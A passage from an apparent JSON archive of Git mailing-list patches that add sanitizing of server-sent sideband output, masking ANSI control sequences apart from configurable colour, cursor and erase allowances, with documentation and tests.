\ttest_commit one-more-please &&\n \n \trm -rf throw-away &&\n-\tgit clone --no-local . throw-away 2>stderr &&\n+\tgit -c $TURN_ON_SANITIZING clone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >color-decoded &&\n \ttest_decode_csi <color-decoded >decoded &&\n \ttest_grep ! \"CSI \\\\[K\" decoded &&\n \ttest_grep \"\\\\^\\\\[\\\\[K\" decoded &&\n \n \trm -rf throw-away &&\n-\tgit -c \"sideband.file://.allowControlCharacters=true\" \\\n+\tgit -c sideband.allowControlCharacters=false \\\n+\t\t-c \"sideband.file://.allowControlCharacters=true\" \\\n \t\tclone --no-local \"file://$PWD\" throw-away 2>stderr &&\n \ttest_decode_color <stderr >color-decoded &&\n \ttest_decode_csi <color-decoded >decoded &&\n-- \n2.53.0-549-g863838a955\n\n"},{"id":"537573","messageId":"20260302181149.3502811-4-gitster@pobox.com","threadId":"62809","inReplyTo":"20260302181149.3502811-1-gitster@pobox.com","subject":"[PATCH 3/3] sideband: conditional documentation fix","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-03-02T18:11:49Z","receivedAt":"2026-03-02T18:11:56Z","isPatch":true,"body":"Duplicate a bit of text on either side of the ifdef/ifndef\nconditional documentation in order to avoid \"sentence assembly\" that\ndoes not fit well with translations, taking hint from the discussion\non a recent topic.\n\ncf. https://lore.kernel.org/git/ff86f877-4b75-403d-a5a4-10ab528a9691@free.fr/\n\nSigned-off-by: Junio C Hamano <gitster@pobox.com>\n---\n Documentation/config/sideband.adoc | 5 +++--\n 1 file changed, 3 insertions(+), 2 deletions(-)\n\ndiff --git a/Documentation/config/sideband.adoc b/Documentation/config/sideband.adoc\nindex 85205477b7..ddba93393c 100644\n--- a/Documentation/config/sideband.adoc\n+++ b/Documentation/config/sideband.adoc\n@@ -2,14 +2,15 @@ sideband.allowControlCharacters::\n ifdef::with-breaking-changes[]\n \tBy default, control characters that are delivered via the sideband\n \tare masked, except ANSI color sequences. This prevents potentially\n+\tunwanted ANSI escape sequences from being sent to the terminal.\n endif::with-breaking-changes[]\n ifndef::with-breaking-changes[]\n \tBy default, no control characters delivered via the sideband\n \tare masked. This is unsafe and will change in Git v3.* to only\n \tallow ANSI color sequences by default, preventing potentially\n+\tunwanted ANSI escape sequences from being sent to the terminal.\n endif::with-breaking-changes[]\n-\tunwanted ANSI escape sequences from being sent to the terminal. Use\n-\tthis config setting to override this behavior (the value can be\n+\tUse this config setting to override this behavior (the value can be\n \ta comma-separated list of the following keywords):\n +\n --\n-- \n2.53.0-549-g863838a955\n\n"},{"id":"538024","messageId":"20260305233452.3727126-1-gitster@pobox.com","threadId":"62809","inReplyTo":"pull.1853.v4.git.1770113882.gitgitgadget@gmail.com","subject":"[PATCH v5 0/7] Sanitizing sideband output","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-03-05T23:34:45Z","receivedAt":"2026-03-05T23:34:55Z","isPatch":true,"body":"Git's sideband channel passes server output directly to the client\nterminal without sanitizing it, creating an ANSI escape sequence\ninjection vulnerability.  A patchset was posted based on the \"we\ndictate what byte sequences are allowed to be used by the end user,\nand reject everything else, but the users can choose to lift the\nblanket rejection\" approach, found in [*1*], but the discussion\nstalled.\n\nHere is an attempt to unblock the topic.  In this round, the series\nkeeps the \"we know what users are allowed to use and reject the\nrest\" approach from the original, but fixes one design problem\naround the configuration variable.  The value 'default' that can be\nexplicitly set to the configuration whose meaning is planned to\nchange across Git 3.0 boundary is now gone.\n\nThe series is structured as follows.\n\n * The first 5 patches are from Dscho's [v4 1-5/6].  These introduce\n   \"reject what we do not explicitly allow\" framework, and by\n   default allow only ANSI color escape sequences.\n\n   [1/7] sideband: mask control characters\n   [2/7] sideband: introduce an \"escape hatch\" to allow control characters\n   [3/7] sideband: do allow ANSI color sequences by default\n   [4/7] sideband: add options to allow more control sequences to be passed through\n   [5/7] sideband: offer to configure sanitizing on a per-URL basis\n\n * The 'default' problem was raised in [*2*] and the 6th patch is\n   about solving it.\n\n   [6/7] sideband: drop 'default' configuration\n\n * The 7th patch is from Dscho's [v4 6/6], adjusted for the above\n   step.  This loosens the rules to allow _everything_ (i.e., the\n   same as before) before Git 3.0, and then rejects anything other\n   than ANSI color escape sequences after Git 3.0\n\n   [7/7] sideband: delay sanitizing by default to Git v3.0\n\nI think without the 'default' that changes its meaning across\nversion boundary, the early part of the series is a good place to\nstop, if we want to proceed with the \"allowlist\" approach.  Unless I\nhear objections, let's plan to merge patches 1-6 (i.e., everything\nother than ANSI color escape sequences are filtered out) to 'next'\nand keep it there for some time, to see if anybody screams, without\nthe last patch.\n\nI am still hoping that people can help the topic and make it less\nrisky for users who are affected by switching to an opposite\nphilosophy, namely, \"we filter byte sequences that are known to us\nto be problematic, and pass everything else intact\", but that is a\nseparate topic [*2*].  The experiment with patches 1-6 cooked in\n'next' long enough may convince ourselves that ANSI colors are the\nonly thing that needs passing (which I personally fear is a bit too\nnaïve but we will never know until we try).\n\n\n[References]\n\n *1* https://lore.kernel.org/git/pull.1853.v4.git.1770113882.gitgitgadget@gmail.com/\n\n *2* https://lore.kernel.org/git/xmqqv7gcnwd4.fsf@gitster.g/\n\n-- \n2.53.0-629-gb58d2f6a3e\n"},{"id":"538025","messageId":"20260305233452.3727126-2-gitster@pobox.com","threadId":"62809","inReplyTo":"20260305233452.3727126-1-gitster@pobox.com","subject":"[PATCH v5 1/7] sideband: mask control characters","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-03-05T23:34:46Z","receivedAt":"2026-03-05T23:34:57Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nThe output of `git clone` is a vital component for understanding what\nhas happened when things go wrong. However, these logs are partially\nunder the control of the remote server (via the \"sideband\", which\ntypically contains what the remote `git pack-objects` process sends to\n`stderr`), and is currently not sanitized by Git.\n\nThis makes Git susceptible to ANSI escape sequence injection (see\nCWE-150, https://cwe.mitre.org/data/definitions/150.html), which allows\nattackers to corrupt terminal state, to hide information, and even to\ninsert characters into the input buffer (i.e. as if the user had typed\nthose characters).\n\nTo plug this vulnerability, disallow any control character in the\nsideband, replacing them instead with the common `^<letter/symbol>`\n(e.g. `^[` for `\\x1b`, `^A` for `\\x01`).\n\nThere is likely a need for more fine-grained controls instead of using a\n\"heavy hammer\" like this, which will be introduced subsequently.\n\nHelped-by: Phillip Wood <phillip.wood@dunelm.org.uk>\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\nSigned-off-by: Junio C Hamano <gitster@pobox.com>\n---\n sideband.c                          | 17 +++++++++++++++--\n t/t5409-colorize-remote-messages.sh | 12 ++++++++++++\n 2 files changed, 27 insertions(+), 2 deletions(-)\n\ndiff --git a/sideband.c b/sideband.c\nindex ea7c25211e..c1bbadccac 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -66,6 +66,19 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n \t\tlist_config_item(list, prefix, keywords[i].keyword);\n }\n \n+static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n+{\n+\tstrbuf_grow(dest, n);\n+\tfor (; n && *src; src++, n--) {\n+\t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n') {\n+\t\t\tstrbuf_addch(dest, *src);\n+\t\t} else {\n+\t\t\tstrbuf_addch(dest, '^');\n+\t\t\tstrbuf_addch(dest, *src == 0x7f ? '?' : 0x40 + *src);\n+\t\t}\n+\t}\n+}\n+\n /*\n  * Optionally highlight one keyword in remote output if it appears at the start\n  * of the line. This should be called for a single line only, which is\n@@ -81,7 +94,7 @@ static void maybe_colorize_sideband(struct strbuf *dest, const char *src, int n)\n \tint i;\n \n \tif (!want_color_stderr(use_sideband_colors())) {\n-\t\tstrbuf_add(dest, src, n);\n+\t\tstrbuf_add_sanitized(dest, src, n);\n \t\treturn;\n \t}\n \n@@ -114,7 +127,7 @@ static void maybe_colorize_sideband(struct strbuf *dest, const char *src, int n)\n \t\t}\n \t}\n \n-\tstrbuf_add(dest, src, n);\n+\tstrbuf_add_sanitized(dest, src, n);\n }\n \n \ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex fa5de4500a..aa5b570571 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -98,4 +98,16 @@ test_expect_success 'fallback to color.ui' '\n \tgrep \"<BOLD;RED>error<RESET>: error\" decoded\n '\n \n+test_expect_success 'disallow (color) control sequences in sideband' '\n+\twrite_script .git/color-me-surprised <<-\\EOF &&\n+\tprintf \"error: Have you \\\\033[31mread\\\\033[m this?\\\\n\" >&2\n+\texec \"$@\"\n+\tEOF\n+\ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n+\ttest_commit need-at-least-one-commit &&\n+\tgit clone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >decoded &&\n+\ttest_grep ! RED decoded\n+'\n+\n test_done\n-- \n2.53.0-629-gb58d2f6a3e\n\n"},{"id":"538026","messageId":"20260305233452.3727126-3-gitster@pobox.com","threadId":"62809","inReplyTo":"20260305233452.3727126-1-gitster@pobox.com","subject":"[PATCH v5 2/7] sideband: introduce an \"escape hatch\" to allow control characters","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-03-05T23:34:47Z","receivedAt":"2026-03-05T23:34:58Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nThe preceding commit fixed the vulnerability whereas sideband messages\n(that are under the control of the remote server) could contain ANSI\nescape sequences that would be sent to the terminal verbatim.\n\nHowever, this fix may not be desirable under all circumstances, e.g.\nwhen remote servers deliberately add coloring to their messages to\nincrease their urgency.\n\nTo help with those use cases, give users a way to opt-out of the\nprotections: `sideband.allowControlCharacters`.\n\nSuggested-by: brian m. carlson <sandals@crustytoothpaste.net>\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\nSigned-off-by: Junio C Hamano <gitster@pobox.com>\n---\n Documentation/config.adoc           |  2 ++\n Documentation/config/sideband.adoc  |  5 +++++\n sideband.c                          | 10 ++++++++++\n t/t5409-colorize-remote-messages.sh |  8 +++++++-\n 4 files changed, 24 insertions(+), 1 deletion(-)\n create mode 100644 Documentation/config/sideband.adoc\n\ndiff --git a/Documentation/config.adoc b/Documentation/config.adoc\nindex 62eebe7c54..dcea3c0c15 100644\n--- a/Documentation/config.adoc\n+++ b/Documentation/config.adoc\n@@ -523,6 +523,8 @@ include::config/sequencer.adoc[]\n \n include::config/showbranch.adoc[]\n \n+include::config/sideband.adoc[]\n+\n include::config/sparse.adoc[]\n \n include::config/splitindex.adoc[]\ndiff --git a/Documentation/config/sideband.adoc b/Documentation/config/sideband.adoc\nnew file mode 100644\nindex 0000000000..3fb5045cd7\n--- /dev/null\n+++ b/Documentation/config/sideband.adoc\n@@ -0,0 +1,5 @@\n+sideband.allowControlCharacters::\n+\tBy default, control characters that are delivered via the sideband\n+\tare masked, to prevent potentially unwanted ANSI escape sequences\n+\tfrom being sent to the terminal. Use this config setting to override\n+\tthis behavior.\ndiff --git a/sideband.c b/sideband.c\nindex c1bbadccac..682f1cbbed 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -26,6 +26,8 @@ static struct keyword_entry keywords[] = {\n \t{ \"error\",\tGIT_COLOR_BOLD_RED },\n };\n \n+static int allow_control_characters;\n+\n /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n static enum git_colorbool use_sideband_colors(void)\n {\n@@ -39,6 +41,9 @@ static enum git_colorbool use_sideband_colors(void)\n \tif (use_sideband_colors_cached != GIT_COLOR_UNKNOWN)\n \t\treturn use_sideband_colors_cached;\n \n+\trepo_config_get_bool(the_repository, \"sideband.allowcontrolcharacters\",\n+\t\t\t    &allow_control_characters);\n+\n \tif (!repo_config_get_string_tmp(the_repository, key, &value))\n \t\tuse_sideband_colors_cached = git_config_colorbool(key, value);\n \telse if (!repo_config_get_string_tmp(the_repository, \"color.ui\", &value))\n@@ -68,6 +73,11 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n \n static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n {\n+\tif (allow_control_characters) {\n+\t\tstrbuf_add(dest, src, n);\n+\t\treturn;\n+\t}\n+\n \tstrbuf_grow(dest, n);\n \tfor (; n && *src; src++, n--) {\n \t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n') {\ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex aa5b570571..9caee9a07f 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -105,9 +105,15 @@ test_expect_success 'disallow (color) control sequences in sideband' '\n \tEOF\n \ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n \ttest_commit need-at-least-one-commit &&\n+\n \tgit clone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >decoded &&\n-\ttest_grep ! RED decoded\n+\ttest_grep ! RED decoded &&\n+\n+\trm -rf throw-away &&\n+\tgit -c sideband.allowControlCharacters clone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >decoded &&\n+\ttest_grep RED decoded\n '\n \n test_done\n-- \n2.53.0-629-gb58d2f6a3e\n\n"},{"id":"538027","messageId":"20260305233452.3727126-4-gitster@pobox.com","threadId":"62809","inReplyTo":"20260305233452.3727126-1-gitster@pobox.com","subject":"[PATCH v5 3/7] sideband: do allow ANSI color sequences by default","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-03-05T23:34:48Z","receivedAt":"2026-03-05T23:35:00Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nThe preceding two commits introduced special handling of the sideband\nchannel to neutralize ANSI escape sequences before sending the payload\nto the terminal, and `sideband.allowControlCharacters` to override that\nbehavior.\n\nHowever, as reported by brian m. carlson, some `pre-receive` hooks that\nare actively used in practice want to color their messages and therefore\nrely on the fact that Git passes them through to the terminal, even\nthough they have no way to determine whether the receiving side can\nactually handle Escape sequences (think e.g. about the practice\nrecommended by Git that third-party applications wishing to use Git\nfunctionality parse the output of Git commands).\n\nIn contrast to other ANSI escape sequences, it is highly unlikely that\ncoloring sequences can be essential tools in attack vectors that mislead\nGit users e.g. by hiding crucial information.\n\nTherefore we can have both: Continue to allow ANSI coloring sequences to\nbe passed to the terminal by default, and neutralize all other ANSI\nEscape sequences.\n\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\nSigned-off-by: Junio C Hamano <gitster@pobox.com>\n---\n Documentation/config/sideband.adoc  | 18 ++++++--\n sideband.c                          | 66 +++++++++++++++++++++++++++--\n t/t5409-colorize-remote-messages.sh | 16 ++++++-\n 3 files changed, 91 insertions(+), 9 deletions(-)\n\ndiff --git a/Documentation/config/sideband.adoc b/Documentation/config/sideband.adoc\nindex 3fb5045cd7..b55c73726f 100644\n--- a/Documentation/config/sideband.adoc\n+++ b/Documentation/config/sideband.adoc\n@@ -1,5 +1,17 @@\n sideband.allowControlCharacters::\n \tBy default, control characters that are delivered via the sideband\n-\tare masked, to prevent potentially unwanted ANSI escape sequences\n-\tfrom being sent to the terminal. Use this config setting to override\n-\tthis behavior.\n+\tare masked, except ANSI color sequences. This prevents potentially\n+\tunwanted ANSI escape sequences from being sent to the terminal. Use\n+\tthis config setting to override this behavior:\n++\n+--\n+\t`default`::\n+\t`color`::\n+\t\tAllow ANSI color sequences, line feeds and horizontal tabs,\n+\t\tbut mask all other control characters. This is the default.\n+\t`false`::\n+\t\tMask all control characters other than line feeds and\n+\t\thorizontal tabs.\n+\t`true`::\n+\t\tAllow all control characters to be sent to the terminal.\n+--\ndiff --git a/sideband.c b/sideband.c\nindex 682f1cbbed..eeba6fa2ca 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -26,7 +26,12 @@ static struct keyword_entry keywords[] = {\n \t{ \"error\",\tGIT_COLOR_BOLD_RED },\n };\n \n-static int allow_control_characters;\n+static enum {\n+\tALLOW_NO_CONTROL_CHARACTERS  = 0,\n+\tALLOW_ANSI_COLOR_SEQUENCES   = 1<<0,\n+\tALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,\n+\tALLOW_ALL_CONTROL_CHARACTERS = 1<<1,\n+} allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n \n /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n static enum git_colorbool use_sideband_colors(void)\n@@ -41,8 +46,26 @@ static enum git_colorbool use_sideband_colors(void)\n \tif (use_sideband_colors_cached != GIT_COLOR_UNKNOWN)\n \t\treturn use_sideband_colors_cached;\n \n-\trepo_config_get_bool(the_repository, \"sideband.allowcontrolcharacters\",\n-\t\t\t    &allow_control_characters);\n+\tswitch (repo_config_get_maybe_bool(the_repository, \"sideband.allowcontrolcharacters\", &i)) {\n+\tcase 0: /* Boolean value */\n+\t\tallow_control_characters = i ? ALLOW_ALL_CONTROL_CHARACTERS :\n+\t\t\tALLOW_NO_CONTROL_CHARACTERS;\n+\t\tbreak;\n+\tcase -1: /* non-Boolean value */\n+\t\tif (repo_config_get_string_tmp(the_repository, \"sideband.allowcontrolcharacters\",\n+\t\t\t\t\t      &value))\n+\t\t\t; /* huh? `get_maybe_bool()` returned -1 */\n+\t\telse if (!strcmp(value, \"default\"))\n+\t\t\tallow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n+\t\telse if (!strcmp(value, \"color\"))\n+\t\t\tallow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n+\t\telse\n+\t\t\twarning(_(\"unrecognized value for `sideband.\"\n+\t\t\t\t  \"allowControlCharacters`: '%s'\"), value);\n+\t\tbreak;\n+\tdefault:\n+\t\tbreak; /* not configured */\n+\t}\n \n \tif (!repo_config_get_string_tmp(the_repository, key, &value))\n \t\tuse_sideband_colors_cached = git_config_colorbool(key, value);\n@@ -71,9 +94,41 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n \t\tlist_config_item(list, prefix, keywords[i].keyword);\n }\n \n+static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int n)\n+{\n+\tint i;\n+\n+\t/*\n+\t * Valid ANSI color sequences are of the form\n+\t *\n+\t * ESC [ [<n> [; <n>]*] m\n+\t *\n+\t * These are part of the Select Graphic Rendition sequences which\n+\t * contain more than just color sequences, for more details see\n+\t * https://en.wikipedia.org/wiki/ANSI_escape_code#SGR.\n+\t */\n+\n+\tif (allow_control_characters != ALLOW_ANSI_COLOR_SEQUENCES ||\n+\t    n < 3 || src[0] != '\\x1b' || src[1] != '[')\n+\t\treturn 0;\n+\n+\tfor (i = 2; i < n; i++) {\n+\t\tif (src[i] == 'm') {\n+\t\t\tstrbuf_add(dest, src, i + 1);\n+\t\t\treturn i;\n+\t\t}\n+\t\tif (!isdigit(src[i]) && src[i] != ';')\n+\t\t\tbreak;\n+\t}\n+\n+\treturn 0;\n+}\n+\n static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n {\n-\tif (allow_control_characters) {\n+\tint i;\n+\n+\tif (allow_control_characters == ALLOW_ALL_CONTROL_CHARACTERS) {\n \t\tstrbuf_add(dest, src, n);\n \t\treturn;\n \t}\n@@ -82,6 +137,9 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n \tfor (; n && *src; src++, n--) {\n \t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n') {\n \t\t\tstrbuf_addch(dest, *src);\n+\t\t} else if ((i = handle_ansi_color_sequence(dest, src, n))) {\n+\t\t\tsrc += i;\n+\t\t\tn -= i;\n \t\t} else {\n \t\t\tstrbuf_addch(dest, '^');\n \t\t\tstrbuf_addch(dest, *src == 0x7f ? '?' : 0x40 + *src);\ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex 9caee9a07f..e5092d3b42 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -100,7 +100,7 @@ test_expect_success 'fallback to color.ui' '\n \n test_expect_success 'disallow (color) control sequences in sideband' '\n \twrite_script .git/color-me-surprised <<-\\EOF &&\n-\tprintf \"error: Have you \\\\033[31mread\\\\033[m this?\\\\n\" >&2\n+\tprintf \"error: Have you \\\\033[31mread\\\\033[m this?\\\\a\\\\n\" >&2\n \texec \"$@\"\n \tEOF\n \ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n@@ -108,12 +108,24 @@ test_expect_success 'disallow (color) control sequences in sideband' '\n \n \tgit clone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >decoded &&\n+\ttest_grep RED decoded &&\n+\ttest_grep \"\\\\^G\" stderr &&\n+\ttr -dc \"\\\\007\" <stderr >actual &&\n+\ttest_must_be_empty actual &&\n+\n+\trm -rf throw-away &&\n+\tgit -c sideband.allowControlCharacters=false \\\n+\t\tclone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >decoded &&\n \ttest_grep ! RED decoded &&\n+\ttest_grep \"\\\\^G\" stderr &&\n \n \trm -rf throw-away &&\n \tgit -c sideband.allowControlCharacters clone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >decoded &&\n-\ttest_grep RED decoded\n+\ttest_grep RED decoded &&\n+\ttr -dc \"\\\\007\" <stderr >actual &&\n+\ttest_file_not_empty actual\n '\n \n test_done\n-- \n2.53.0-629-gb58d2f6a3e\n\n"},{"id":"538028","messageId":"20260305233452.3727126-5-gitster@pobox.com","threadId":"62809","inReplyTo":"20260305233452.3727126-1-gitster@pobox.com","subject":"[PATCH v5 4/7] sideband: add options to allow more control sequences to be passed through","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-03-05T23:34:49Z","receivedAt":"2026-03-05T23:35:01Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nEven though control sequences that erase characters are quite juicy for\nattack scenarios, where attackers are eager to hide traces of suspicious\nactivities, during the review of the side band sanitizing patch series\nconcerns were raised that there might be some legimitate scenarios where\nGit server's `pre-receive` hooks use those sequences in a benign way.\n\nControl sequences to move the cursor can likewise be used to hide tracks\nby overwriting characters, and have been equally pointed out as having\nlegitimate users.\n\nLet's add options to let users opt into passing through those ANSI\nEscape sequences: `sideband.allowControlCharacters` now supports also\n`cursor` and `erase`, and it parses the value as a comma-separated list.\n\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\nSigned-off-by: Junio C Hamano <gitster@pobox.com>\n---\n Documentation/config/sideband.adoc  |  9 ++-\n sideband.c                          | 91 ++++++++++++++++++++++++-----\n t/t5409-colorize-remote-messages.sh | 38 ++++++++++++\n 3 files changed, 123 insertions(+), 15 deletions(-)\n\ndiff --git a/Documentation/config/sideband.adoc b/Documentation/config/sideband.adoc\nindex b55c73726f..2bf0426284 100644\n--- a/Documentation/config/sideband.adoc\n+++ b/Documentation/config/sideband.adoc\n@@ -2,13 +2,20 @@ sideband.allowControlCharacters::\n \tBy default, control characters that are delivered via the sideband\n \tare masked, except ANSI color sequences. This prevents potentially\n \tunwanted ANSI escape sequences from being sent to the terminal. Use\n-\tthis config setting to override this behavior:\n+\tthis config setting to override this behavior (the value can be\n+\ta comma-separated list of the following keywords):\n +\n --\n \t`default`::\n \t`color`::\n \t\tAllow ANSI color sequences, line feeds and horizontal tabs,\n \t\tbut mask all other control characters. This is the default.\n+\t`cursor:`:\n+\t\tAllow control sequences that move the cursor. This is\n+\t\tdisabled by default.\n+\t`erase`::\n+\t\tAllow control sequences that erase charactrs. This is\n+\t\tdisabled by default.\n \t`false`::\n \t\tMask all control characters other than line feeds and\n \t\thorizontal tabs.\ndiff --git a/sideband.c b/sideband.c\nindex eeba6fa2ca..0b420ca319 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -29,9 +29,43 @@ static struct keyword_entry keywords[] = {\n static enum {\n \tALLOW_NO_CONTROL_CHARACTERS  = 0,\n \tALLOW_ANSI_COLOR_SEQUENCES   = 1<<0,\n+\tALLOW_ANSI_CURSOR_MOVEMENTS  = 1<<1,\n+\tALLOW_ANSI_ERASE             = 1<<2,\n \tALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,\n-\tALLOW_ALL_CONTROL_CHARACTERS = 1<<1,\n-} allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n+\tALLOW_ALL_CONTROL_CHARACTERS = 1<<3,\n+} allow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n+\n+static inline int skip_prefix_in_csv(const char *value, const char *prefix,\n+\t\t\t\t     const char **out)\n+{\n+\tif (!skip_prefix(value, prefix, &value) ||\n+\t    (*value && *value != ','))\n+\t\treturn 0;\n+\t*out = value + !!*value;\n+\treturn 1;\n+}\n+\n+static void parse_allow_control_characters(const char *value)\n+{\n+\tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n+\twhile (*value) {\n+\t\tif (skip_prefix_in_csv(value, \"default\", &value))\n+\t\t\tallow_control_characters |= ALLOW_DEFAULT_ANSI_SEQUENCES;\n+\t\telse if (skip_prefix_in_csv(value, \"color\", &value))\n+\t\t\tallow_control_characters |= ALLOW_ANSI_COLOR_SEQUENCES;\n+\t\telse if (skip_prefix_in_csv(value, \"cursor\", &value))\n+\t\t\tallow_control_characters |= ALLOW_ANSI_CURSOR_MOVEMENTS;\n+\t\telse if (skip_prefix_in_csv(value, \"erase\", &value))\n+\t\t\tallow_control_characters |= ALLOW_ANSI_ERASE;\n+\t\telse if (skip_prefix_in_csv(value, \"true\", &value))\n+\t\t\tallow_control_characters = ALLOW_ALL_CONTROL_CHARACTERS;\n+\t\telse if (skip_prefix_in_csv(value, \"false\", &value))\n+\t\t\tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n+\t\telse\n+\t\t\twarning(_(\"unrecognized value for `sideband.\"\n+\t\t\t\t  \"allowControlCharacters`: '%s'\"), value);\n+\t}\n+}\n \n /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n static enum git_colorbool use_sideband_colors(void)\n@@ -55,13 +89,8 @@ static enum git_colorbool use_sideband_colors(void)\n \t\tif (repo_config_get_string_tmp(the_repository, \"sideband.allowcontrolcharacters\",\n \t\t\t\t\t      &value))\n \t\t\t; /* huh? `get_maybe_bool()` returned -1 */\n-\t\telse if (!strcmp(value, \"default\"))\n-\t\t\tallow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n-\t\telse if (!strcmp(value, \"color\"))\n-\t\t\tallow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n \t\telse\n-\t\t\twarning(_(\"unrecognized value for `sideband.\"\n-\t\t\t\t  \"allowControlCharacters`: '%s'\"), value);\n+\t\t\tparse_allow_control_characters(value);\n \t\tbreak;\n \tdefault:\n \t\tbreak; /* not configured */\n@@ -94,7 +123,7 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n \t\tlist_config_item(list, prefix, keywords[i].keyword);\n }\n \n-static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int n)\n+static int handle_ansi_sequence(struct strbuf *dest, const char *src, int n)\n {\n \tint i;\n \n@@ -106,14 +135,47 @@ static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int\n \t * These are part of the Select Graphic Rendition sequences which\n \t * contain more than just color sequences, for more details see\n \t * https://en.wikipedia.org/wiki/ANSI_escape_code#SGR.\n+\t *\n+\t * The cursor movement sequences are:\n+\t *\n+\t * ESC [ n A - Cursor up n lines (CUU)\n+\t * ESC [ n B - Cursor down n lines (CUD)\n+\t * ESC [ n C - Cursor forward n columns (CUF)\n+\t * ESC [ n D - Cursor back n columns (CUB)\n+\t * ESC [ n E - Cursor next line, beginning (CNL)\n+\t * ESC [ n F - Cursor previous line, beginning (CPL)\n+\t * ESC [ n G - Cursor to column n (CHA)\n+\t * ESC [ n ; m H - Cursor position (row n, col m) (CUP)\n+\t * ESC [ n ; m f - Same as H (HVP)\n+\t *\n+\t * The sequences to erase characters are:\n+\t *\n+\t *\n+\t * ESC [ 0 J - Clear from cursor to end of screen (ED)\n+\t * ESC [ 1 J - Clear from cursor to beginning of screen (ED)\n+\t * ESC [ 2 J - Clear entire screen (ED)\n+\t * ESC [ 3 J - Clear entire screen + scrollback (ED) - xterm extension\n+\t * ESC [ 0 K - Clear from cursor to end of line (EL)\n+\t * ESC [ 1 K - Clear from cursor to beginning of line (EL)\n+\t * ESC [ 2 K - Clear entire line (EL)\n+\t * ESC [ n M - Delete n lines (DL)\n+\t * ESC [ n P - Delete n characters (DCH)\n+\t * ESC [ n X - Erase n characters (ECH)\n+\t *\n+\t * For a comprehensive list of common ANSI Escape sequences, see\n+\t * https://www.xfree86.org/current/ctlseqs.html\n \t */\n \n-\tif (allow_control_characters != ALLOW_ANSI_COLOR_SEQUENCES ||\n-\t    n < 3 || src[0] != '\\x1b' || src[1] != '[')\n+\tif (n < 3 || src[0] != '\\x1b' || src[1] != '[')\n \t\treturn 0;\n \n \tfor (i = 2; i < n; i++) {\n-\t\tif (src[i] == 'm') {\n+\t\tif (((allow_control_characters & ALLOW_ANSI_COLOR_SEQUENCES) &&\n+\t\t     src[i] == 'm') ||\n+\t\t    ((allow_control_characters & ALLOW_ANSI_CURSOR_MOVEMENTS) &&\n+\t\t     strchr(\"ABCDEFGHf\", src[i])) ||\n+\t\t    ((allow_control_characters & ALLOW_ANSI_ERASE) &&\n+\t\t     strchr(\"JKMPX\", src[i]))) {\n \t\t\tstrbuf_add(dest, src, i + 1);\n 